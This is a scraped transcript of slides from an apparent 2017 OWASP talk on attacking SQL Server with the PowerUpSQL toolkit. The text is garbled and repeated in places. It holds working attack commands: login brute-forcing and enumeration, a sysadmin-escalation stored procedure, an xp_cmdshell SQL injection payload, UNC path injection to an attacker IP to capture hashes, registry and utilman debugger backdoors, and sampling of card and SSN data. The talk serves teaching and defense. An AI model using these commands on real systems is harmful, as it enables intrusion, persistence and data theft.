Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 22: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Testing Login Access Login CMD Examples

Attacker Perspective

Command Example

Unauthenticated Get-SQLInstanceUDPScan | Get-SQLConnectionTestThreaded -Verbose -Threads 15 -Username testuser -Password testpass

Local User Get-SQLInstanceLocal | Get-SQLConnectionTestThreaded -Verbose

Domain User Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15

AlternativeDomain User

runas noprofile netonly userdomainuser PowerShellexe

Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15

Testing Login Access Reusing Result Lists

Process Command Example

Enumerate Accessible Servers

$Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object $_Status ndashlike ldquoAccessiblerdquo

Get server information $Acessible | Get-SQLServerInfo -Verbose

Get database list $Acessible | Get-SQLDatabase -Verbose

Perform audit $Acessible | Invoke-SQLAudit -Verbose

Do I have to rerun instance discovery every time I want to run a command No

Testing Login Access Domain User Access

DEMO

Testing Login Access Demo

DEMO

>

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

EscalatingPrivileges

SQL Login to SysAdmin

Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip

Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts

Technique PowerUpSQL Function

Blind Login Enumeration+

Dictionary Attack =

Super Cool

Invoke-SQLAuditWeakLoginPw

bull Enumerate all SQL Server logins with the Public role

bull Enumerate all domain accounts with the Public role

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null

Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

Domain of SQL Server

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

Full RID of Domain Admins

group

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

6 Increment and repeat

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges DEMO

DEMOGet-SQLFuzzServerLogin

Invoke-SQLAuditWeakLoginPw

Get-SQLFuzzDomainAccount

>

Escalating Privileges Impersonation

1 Impersonate Privilege

bull Server EXECUTE AS LOGIN

bull Database EXECUTE AS USER

2 Stored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER

bull Signed with cert login

3 Automatic Execution of Stored Procedures

4 Agent Jobs

bull User Reader and Operator roles

5 xp_cmdshell proxy acount

6 Create Databse Link to File or Server

7 Import Install Custom Assemblies

8 Ad-Hoc Queries

9 Shared Service Accounts

10 Database Links

11 UNC Path Injection

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Prosbull Execute queriescommands in another user

context

Consbull Commands and queries are not limited in any waybull Requires database to be configured as trustworthy

for OS command execution

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 23: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Testing Login Access Reusing Result Lists

Process Command Example

Enumerate Accessible Servers

$Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object $_Status ndashlike ldquoAccessiblerdquo

Get server information $Acessible | Get-SQLServerInfo -Verbose

Get database list $Acessible | Get-SQLDatabase -Verbose

Perform audit $Acessible | Invoke-SQLAudit -Verbose

Do I have to rerun instance discovery every time I want to run a command No

Testing Login Access Domain User Access

DEMO

Testing Login Access Demo

DEMO

>

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

EscalatingPrivileges

SQL Login to SysAdmin

Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip

Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts

Technique PowerUpSQL Function

Blind Login Enumeration+

Dictionary Attack =

Super Cool

Invoke-SQLAuditWeakLoginPw

bull Enumerate all SQL Server logins with the Public role

bull Enumerate all domain accounts with the Public role

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

Escalating Privileges Weak PasswordsEnumerating SQL Logins

